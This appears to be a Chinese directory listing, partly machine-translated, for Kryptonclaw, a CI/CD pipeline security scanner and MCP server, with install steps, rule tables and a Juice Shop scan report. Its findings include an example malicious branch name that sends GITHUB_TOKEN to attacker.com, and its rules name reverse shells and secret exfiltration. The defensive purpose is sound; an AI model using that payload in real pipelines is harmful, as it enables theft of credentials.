Token导航 LogoToken导航TokenDH.com
kryptonclaw (Armyknife Social) logo
安全风控未说明官方级别未说明来源级核验

kryptonclaw (Armyknife Social)

MCP Server

Kryptonclaw是一款针对GitHub Actions、GitLab CI和Jenkins的CI/CD安全扫描工具,能够检测30多种攻击模式,支持组织级批量扫描和SARIF输出。

工具数

10

提示词数

0

GitHub Stars

15

资源数

0
安全漏洞检测RustCI/CD

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

armyknife-social

提供方

armyknife-social

最后核验

2026/5/17 20:20

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

详细介绍

氪星法律

用于GitHub操作、GitLab CI和Jenkins的CI/CD安全扫描程序

Kryptonclaw在CI/CD管道中检测到30多种攻击模式,这些模式与HackerBot Claw活动(2026年2月)中使用的向量相同,该活动破坏了微软、DataDog、CNCF和Trivy存储库的工作流程。它通过GitHub API扫描工作流文件,无需克隆repos,支持组织批量扫描,并输出SARIF用于直接集成GitHub代码扫描。

$ kryptonclaw scan --repo juice-shop/juice-shop

Kryptonclaw Scan Report: juice-shop/juice-shop
Scanned 12 files across 1 repos in 253ms

Findings: 29 total (Critical: 0, High: 9, Medium: 20, Low: 0)
--------------------------------------------------------------------------------
[HIGH] Remote script execution (curl|bash, wget|sh) (KC-104)
  Location: .github/workflows/ci.yml
  Pipeline downloads and executes remote scripts via curl|bash or wget|sh.
  An attacker who compromises the remote URL can execute arbitrary code.
  Fix: Download scripts, verify checksums, then execute.
  CWE: CWE-829

[HIGH] Untrusted input in workflow expression (KC-101)
  Location: .github/workflows/ci.yml
  github.head_ref used in run: step — attacker-controlled branch names
  can inject shell commands via crafted PR branch names.
  Fix: Pass untrusted input via environment variable, not direct interpolation.
  CWE: CWE-94

[MED] Mutable tag reference (KC-003)
  Location: .github/workflows/ci.yml
  Action coverallsapp/github-action@v2 uses a mutable tag.
  Fix: Pin to a full commit SHA: uses: action@
  CWE: CWE-829
...

______________________________________________________________________

为什么Kryptonclaw

大多数CI/CD安全工具侧重于容器映像或依赖关系扫描。他们错过了管道本身——定义运行什么代码、使用什么权限以及访问什么秘密的YAML配置文件。

攻击者知道这一点。HackerBot Claw活动被利用 pull_request_target 触发器以对基础存储库具有写访问权限的方式运行恶意代码。未加密的GitHub Actions允许通过标签突变导致供应链中毒。通过工作流注入 ${{ github.event.pull_request.title }} 让攻击者在受信任的管道内执行命令。

Kryptonclaw捕捉到了所有这些模式以及更多。它应用了基于正则表达式的检测和基于YAML的结构分析来发现简单的基于grep的工具遗漏的漏洞,比如 pull_request_target 触发器与 actions/checkout 在同一工作中引用PR负责人SHA。

关键能力:

  • API首次扫描 -通过GitHub Contents API获取工作流文件。没有git克隆,没有磁盘I/O,没有存储库签出。
  • 全组织批量扫描 --使用单个命令扫描GitHub组织中的每个repo。可配置的并发性,感知速率限制。
  • 30+检测规则 --GitHub Actions、GitLab CI、Jenkins,以及通用的CI/CD模式。每个规则都映射到CWE ID,并提供补救指导。
  • YAML结构分析 --将工作流解析为类型化结构,以检测跨越触发器、权限和步骤的多步攻击链。
  • SARIF v2.1.0输出 --将结果直接放入GitHub代码扫描。还支持JSON和人类可读文本。
  • MCP服务器 --10个与人工智能助手和自动化安全工作流程集成的工具。
  • 红队模式 --通过armyknife llm红队桥生成可选漏洞利用场景。

______________________________________________________________________

安装

来自crates.io

cargo install kryptonclaw

这将同时安装 kryptonclaw (CLI)和 kryptonclaw-mcp (MCP服务器)到 ~/.cargo/bin/.

来源

git clone https://github.com/armyknife-social/kryptonclaw.git
cd kryptonclaw
cargo build --release

# Binaries at:
#   target/release/kryptonclaw       (CLI)
#   target/release/kryptonclaw-mcp   (MCP server)

需要Rust 1.75或更高版本。

添加到PATH

# If installed from source:
cp target/release/kryptonclaw ~/.local/bin/
cp target/release/kryptonclaw-mcp ~/.local/bin/

______________________________________________________________________

用法

扫描单个存储库

# API-only scan (no clone, fast)
kryptonclaw scan --repo owner/repo

# With explicit token
kryptonclaw scan --repo owner/repo --token $GITHUB_TOKEN

扫描整个组织

# Scan all repos in an org (default: 4 concurrent)
kryptonclaw scan --org my-company

# Higher concurrency for large orgs
kryptonclaw scan --org my-company --concurrency 8

# Only show high and critical findings
kryptonclaw scan --org my-company --min-severity high

扫描本地目录

# Scan local .github/workflows/ files
kryptonclaw scan --path /path/to/repo

# Deep scan (walks entire directory tree)
kryptonclaw scan --path /path/to/repo --deep

输出格式

# Human-readable (default)
kryptonclaw scan --repo owner/repo

# JSON (full report structure)
kryptonclaw scan --repo owner/repo --format json

# SARIF v2.1.0 (GitHub Code Scanning)
kryptonclaw scan --repo owner/repo --format sarif -o results.sarif

上传到GitHub代码扫描

kryptonclaw scan --repo owner/repo --format sarif -o results.sarif
gh code-scanning upload results.sarif

列出检测规则

kryptonclaw rules
Rule ID    Severity   CWE          Description
--------------------------------------------------------------------------------
KC-001     HIGH       CWE-269      workflow_run trigger (privilege escalation chain)
KC-002     HIGH       CWE-829      Unpinned action reference (branch/tag instead of SHA)
KC-003     MEDIUM     CWE-829      Mutable tag ref (e.g., @v4 instead of @v4.1.1 or full SHA)
KC-004     MEDIUM     CWE-494      Artifact upload/download without verification
KC-005     CRITICAL   CWE-94       actions/github-script with user-controlled input
...

红队模式

# Generate exploit scenarios for each finding
kryptonclaw scan --repo owner/repo --redteam

需要 armyknife-llm-redteam-mcp 在PATH上。启用后,将分析每个发现,以使用MITRE ATT&CK映射生成概念验证攻击场景。

______________________________________________________________________

检测规则

Kryptonclaw附带了由CI平台组织的30多条规则。每个规则都包括CWE映射、严重性分类和补救指南。

GitHub操作

规则严重性CWE检测
KC-100临界863pull_request_target trigger——使用写访问权限和基本仓库机密运行
KC-005严重94actions/github-script 使用用户控制的输入——使用完整的GITHUB_TOKEN执行JS
KC-102危急200通过秘密渗透 curl/wget 到外部端点
KC-103临界78反向壳型(netcat -e, /dev/tcp/)
KC-001269workflow_run 触发器——来自分叉PR的特权升级链
KC-002829未固定动作参考(@main, @master)--可变的供应链风险
KC-00820复合作用 ${{ inputs.* }}run: 未经验证的步骤
KC-009200secrets: inherit 将所有存储库机密传递给调用的工作流
KC-010高位269permissions: write-all 授予GITHUB_TOKEN完全访问权限
KC-01194扩展上下文注入(discussion.body, review.body, pages.*.page_name)
KC-014269OIDC id-token: write --超范围的云提供商访问
KC-10194输入注入不可信(issue.body, pull_request.title, head_ref)
KC-104高位829`curl \bash / wget \sh` --远程脚本执行
KC-105200ACTIONS_RUNTIME_TOKEN 日志或不受信任的进程中的暴露
KC-003中等829可变标签参考文献(@v4 而不是 @v4.1.1 或完整SHA)
KC-004中等494未经校验和验证的工件上传/下载
KC-006中等250自托管运行程序使用情况——持久状态启用后门
KC-007中等269缺失 permissions: block--可以默认为 write-all
KC-012中等601环境URL注入——通过部署URL进行钓鱼
KC-013中等345通过可预测的缓存中毒 actions/cache 钥匙

GitLab 的

规则严重性CWE检测
KC-204250privileged: true 容器执行--主机逃逸风险
KC-200中型829远程/跨项目 include: 篡改
KC-201中等693allow_failure: true 论安全扫描阶段
KC-203中等200无保护/屏蔽CI/CD变量的变量扩展
KC-205中等200直接引用触发器令牌而不是作为受保护变量
KC-202693可跳过的手动安全门

詹金斯

规则严重性CWE检测
KC-300危急829@Grab 依赖注入——任意运行时下载
KC-30178通过Groovy字符串插值进行Shell注入 sh 步骤
KC-304高位693@NonCPS Groovy沙盒旁路——控制器上的任意代码
KC-306269管道代码中的管理员权限检查
KC-302中等829动态 load() 管道库加载
KC-305中等829@Library 无版本pin——可变默认分支
KC-303200withCredentials 范围太广

YAML结构分析

除了正则表达式匹配之外,kryptonclaw还将GitHub Actions工作流解析为类型化结构并应用语义检查:

  • HackerBot爪模式检测:标识 pull_request_target 触发器与 actions/checkout 引用 github.event.pull_request.head.shagithub.head_ref 在同一份工作中。这正是2026年2月战役中使用的攻击链。
  • 复合输入注入:检测 ${{ inputs.* }} 插值 run: 跨解析的作业定义的步骤。
  • 工作流调度输入注入:查找 ${{ github.event.inputs.* }} 直接在shell命令中使用。

结构分析捕获了跨越多个YAML键且无法用单行正则表达式可靠检测的模式。

附加扫描仪

Kryptonclaw还包括:

  • 秘密扫描仪 --12种凭据模式(AWS密钥、GitHub PAT、Slack令牌、OpenAI密钥、私钥、数据库密码)。适用于所有扫描的文件。
  • 供应链扫描器 --40多个已知的拼写错误的包名、恶意生命周期钩子、自定义注册表检测、依赖关系混淆模式。涵盖了npm、PyPI、Cargo、Go模块、RubyGems。

______________________________________________________________________

支持的CI/CD平台

平台文件检测规则
GitHub操作.github/workflows/*.yml20个专用+通用
GitLab 的 .gitlab-ci.yml6专用+通用
詹金斯Jenkinsfile, Jenkinsfile.*7专用+通用
特拉维斯CI.travis.yml通用模式
Circle的 .circleci/*.yml通用模式
Azure管道azure-pipelines.yml通用模式

平台检测通过文件路径进行,对于模糊的YAML文件,通过内容启发式进行(runs-on: + steps: =GitHub操作, stages: + script: GitLab CI)。

______________________________________________________________________

MCP服务器

Kryptonclaw包括一个模型上下文协议服务器,其中包含10个工具,用于与人工智能助手和自动化安全工作流程集成。

# Start the MCP server
kryptonclaw-mcp

MCP配置

添加到MCP客户端配置中:

{
  "mcpServers": {
    "kryptonclaw": {
      "type": "stdio",
      "command": "kryptonclaw-mcp",
      "args": []
    }
  }
}

可用工具

工具说明
kryptonclaw_scan_repo通过GitHub Contents API扫描单个回购
kryptonclaw_scan_org扫描GitHub组织中的所有存储库
kryptonclaw_scan_workflow扫描原始工作流YAML内容(直接粘贴)
kryptonclaw_findings查询和筛选上次扫描的结果
kryptonclaw_rules列出所有带有元数据的检测规则
kryptonclaw_explain按ID解释规则,并提供完整的补救指导
kryptonclaw_redteam为特定发现生成漏洞利用场景
kryptonclaw_sarif将上次扫描导出为SARIF v2.1.0 JSON
kryptonclaw_status显示扫描状态和缓存的结果计数
kryptonclaw_config获取配置值

所有工具都接受 token 参数或回退到 GITHUB_TOKEN / GH_TOKEN 环境变量。输出会自动净化以编辑凭据。

______________________________________________________________________

建筑

kryptonclaw
├── cli/                    Command-line interface (clap 4)
├── core/                   Engine, findings, config, reports
├── plugins/
│   └── builtin/
│       ├── cicd/           CI/CD scanner (regex + YAML parser)
│       │   ├── github_actions.rs
│       │   ├── gitlab_ci.rs
│       │   ├── jenkins.rs
│       │   ├── parser.rs   YAML structural analysis
│       │   └── rules.rs    Rule definitions + matching engine
│       ├── secrets.rs      Credential pattern detection
│       └── supply_chain.rs Package supply chain analysis
├── platform/               GitHub API client (Contents API, org listing)
├── scan/                   API-only and batch scanning orchestration
├── mcp/                    MCP server (10 tools, rmcp 0.16)
├── output/                 Text, JSON, SARIF formatters
└── redteam/                armyknife-llm-redteam bridge

设计原则:

  • API第一个:默认扫描模式使用GitHub Contents API。没有git克隆,没有磁盘写入,没有存储库签出。这使得整个组织的扫描既快速又安全。
  • 纵深防御:正则表达式规则可以快速捕获已知模式。YAML解析捕获跨越多个键的结构模式。两者都在每个文件上运行。
  • 解析时打开失败:格式错误的YAML(在攻击场景中有时是故意的)退回到仅扫描正则表达式而不是跳过文件。
  • 限速意识:GitHub API客户端通过 x-ratelimit-remaining 标题。当预算用尽时,扫描会优雅地停止,而不是敲打403。
  • 异步贯穿始终:基于Tokio构建,具有异步HTTP、异步插件执行和异步批处理编排功能。

______________________________________________________________________

环境变量

变量目的
GITHUB_TOKENGitHub API身份验证(主要)
GH_TOKENGitHub API身份验证(回退)

______________________________________________________________________

SARIF集成

Kryptonclaw生成与GitHub代码扫描、VS代码SARIF查看器和其他SARIF消费工具兼容的SARIF v2.1.0输出。

SARIF输出包括:

  • reportingDescriptor 每个规则的条目,包括ID、描述、严重性和CWE标签
  • result 每个查找项的物理位置条目(文件路径+行号)
  • 严重性映射:严重/高到 error,中等至 warning,低/信息 note
# Generate and upload to GitHub Code Scanning
kryptonclaw scan --org my-company --format sarif -o scan.sarif
gh code-scanning upload scan.sarif --ref refs/heads/main

______________________________________________________________________

演出

场景典型时间
单个repo(仅限API,3个工作流文件)1-2秒
组织(50个repos)2-5分钟
组织(200个存储库,并发8)8-15分钟
本地目录扫描\<1秒

速率限制:经过身份验证的GitHub API每小时允许5000个请求。每个回购扫描使用2-10个API调用,具体取决于工作流计数。200-repo组织扫描使用大约1000-2000个API调用。

______________________________________________________________________

真实世界测试:OWASP果汁店

为了验证检测的准确性,对kryptonclaw进行了测试 OWASP Juice Shop --最受欢迎的故意易受攻击的web应用程序之一,由OWASP基金会维护,有12个GitHub Actions工作流文件。

$ kryptonclaw scan --repo juice-shop/juice-shop

Kryptonclaw Scan Report: juice-shop/juice-shop
Scanned 12 files across 1 repos in 253ms

Findings: 29 total (Critical: 0, High: 9, Medium: 20, Low: 0)

调查结果细分

严重程度高(9项发现)

规则文件查找
KC-104ci.yml`curl \bash 远程脚本执行--通过安装Heroku CLI curl https://cli-assets.heroku.com/install.sh \sh` 下载并执行远程脚本,无需校验和验证。如果Heroku CDN受到威胁,任意代码将在CI管道内运行,并完全访问机密。
KC-101ci.yml通过以下方式注入分行名称 github.head_ref --工作流插值 ${{ github.head_ref }} 直接进入a run: 步骤。攻击者可以用分支名称制作PR,如下所示 ` curl attacker.com/steal?t=$GITHUB_TOKEN ` 泄露秘密。
KC-101codeql-analysis.yml一样 github.head_ref CodeQL分析工作流中的注入模式。
KC-101rebase-nightly.yml相同的模式——在夜间重基工作流中进行分支名称插值。
KC-101update-challenges.yml挑战更新工作流中的模式相同。
KC-101lint-fixer.ymllint自动修复工作流程中的模式相同。
KC-101test-desktop-app.ymlElectron桌面应用程序测试工作流中的模式相同。
KC-101update-challenges-on-comment.yml问题评论引发了同样的模式。
KC-104release.yml第二名 `curl \bash` 发布工作流中的实例。

中度严重(20项发现)

规则计数查找
KC-00710缺失 permissions: block——12个工作流文件中有10个没有明确的权限声明。当存储库的默认令牌权限设置为“读写”时,每个工作流都以对存储库、包和部署的完全写入权限运行。
KC-0036可变标签引用——类似操作 coverallsapp/github-action@v2, github/codeql-action/init@v3,以及 github/codeql-action/analyze@v3 使用主版本标签而不是完整提交SHA。如果一个标签是由一个妥协的维护者强行推送的,那么工作流会默默地运行不同的代码。
KC-0044未经验证的工件上传/下载-- actions/upload-artifactactions/download-artifact 无需校验和验证即可使用。在多作业工作流中,工件可以在上传和下载之间被篡改。

关键要点

  1. 分行名称注入是系统性的。 12个工作流中的7个进行插值 github.head_ref 直接输入shell命令。这是启用HackerBot Claw活动的同一类漏洞——攻击者控制分支名称,分支名称成为代码。
  1. 远程脚本执行是一个真正的供应链风险。 Heroku CLI安装通过 curl | sh 信任第三方CDN来交付未经修改的代码。受损的CDN或DNS劫持使攻击者可以在CI内执行代码,并访问部署凭据。
  1. 缺少权限声明的情况很普遍。 12个工作流中有10个依赖于存储库默认值,而不是明确限定GITHUB_TOKEN权限。最小特权原则不适用。
  1. 可变动作引用允许无声的供应链攻击。 使用 @v2@v3 SHA不是固定提交,而是意味着受感染的上游操作可以将恶意代码注入到每个工作流运行中,而不会对工作流文件进行任何可见的更改。
  1. 扫描在253毫秒内完成 通过GitHub Contents API--无存储库克隆,无磁盘I/O,12个文件通过30多个检测规则提取和分析。

______________________________________________________________________

贡献

欢迎捐款。要添加新的检测规则,请执行以下操作:

  1. 选择合适的模块(github_actions.rs, gitlab_ci.rs, jenkins.rs,或 rules.rs 对于通用模式)
  2. 添加一个 RegexRule 条目包含:规则ID(KC-NNN)、正则表达式模式、标题、严重性、描述、补救、CWE ID
  3. 将规则元数据添加到 all_rules()rules.rs
  4. 在中添加测试用例 cicd/mod.rs
  5. cargo test 验证

______________________________________________________________________

许可证

双重许可 麻省理工学院Apache 2.0。选择你喜欢的。

目录标签

目录标签

安全漏洞检测RustCI/CD安全扫描本地部署GitHubActionsGitLabCIJenkins

接入字段

传输方式(transport,传输协议)

未说明

鉴权方式(authType,认证方式)

token

工具数量(toolCount,工具数)

10

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

未说明token部署方式未说明

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

仍需确认:installCommand

来源信息

继续浏览同类 MCP